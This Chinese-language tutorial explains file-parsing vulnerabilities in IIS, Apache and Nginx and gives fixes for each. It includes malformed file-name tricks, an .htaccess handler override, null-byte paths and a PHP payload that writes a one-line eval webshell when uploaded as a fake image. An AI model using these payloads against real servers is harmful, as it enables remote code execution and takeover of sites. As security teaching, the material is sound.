IIS解析漏洞

什么是解析漏洞?
解析漏洞主要是一些特殊文件被Apache、IIS、Nginx等Web容器在某种情况下解释成脚本文件格式并得以执行而产生的漏洞。
漏洞危害:
若存在漏洞,可通过一些手段获取webshell
解析漏洞分类:
IIS解析漏洞
Nginx解析漏洞
Apache解析漏洞
在这里插入图片描述
IIS解析漏洞:

1、目录解析: 以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

2、文件解析
.asp;.jpg像这种畸形文件名在“;”后面的直接被忽略,也就是说当成.asp文件执行。 IIS6.0默认的可执行文件除了asp还包含这三种
*.asa *.cer *.cdx
IIS7.0/IIS7.5
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.PHP会将/xx.jpg/xx.php解析为php文件。
需要开启两个开关,php.ini里cgi.fix_pathinfo=1(默认为0)和IIS中的处理程序映射-》phpstudy2018_FastCgi——》取消勾选 请求限制里的第一个选项。

修复方式:
一、程序方面
对新建目录文件名进行过滤,不允许新建包含 . 的文件夹
取消网站后台新建目录的功能,不允许新建目录
二、服务器方面
限制上传目录的脚本执行权限,不允许执行脚本
过滤 .asp /xm.ipg 通过ISApi 组件过滤。 在httpd.ini加入了以下规则:

ASP RewriteRule (.*).asp/(.*) /no.gif RewriteRule (.*) /no.gif
 RewriteRule (.*).aSp/(.*) /no.gif RewriteRule (.*).asp/(.*) /no.gif

Apache解析漏洞

介绍:
在Apache1.x,2.x 中Apache 解析文件的规则是从右到左开始判断解析,如果后缀为不可识别文件解析就往左判断,如1.php.tats
apache解析漏洞:

开始测试,在客户机新建一个dede.php.xxx 内容是<?php phpinfo();?> 然后上传 其余配置问题导致漏洞
(1)如果在Apache的conf里有这样一行配置AddHandler
php5-script.php这时只要文件名里包含.php即使文件名是test2.php.jpg也会以php来执行
(2)如果在Apache的conf里有这样一行配置AddType
application/x-http-php.jpg即使扩展名是jpg,一样能以php方式执行。
(3).htaccess文件如果可以上传且能覆盖原有配置。 文件写入配置<FIlesMatch"hello">SetHandler application/x-httpd-php</FilesMatch>
上面配置意思是:无论文件后缀是什么,主要包含hello就会php解析器解析此文件

Nginx解析漏洞

1、Nginx 解析漏洞 该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项
cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.PHP会将 /xx.jpg /xx.php 解析为 php 文件。
2、Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞 在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件 另一种手法:
上传一个名字为test.jpg,以下内容文件。 <?PHP fputs(fopen(‘shell.php’.‘w’),’<?php
eval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马hell.php。
这里写phpinfo测试。

在这里插入图片描述
在这里插入图片描述

修复方式:
升级版本
关闭 cgi.fix_pathinfo

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐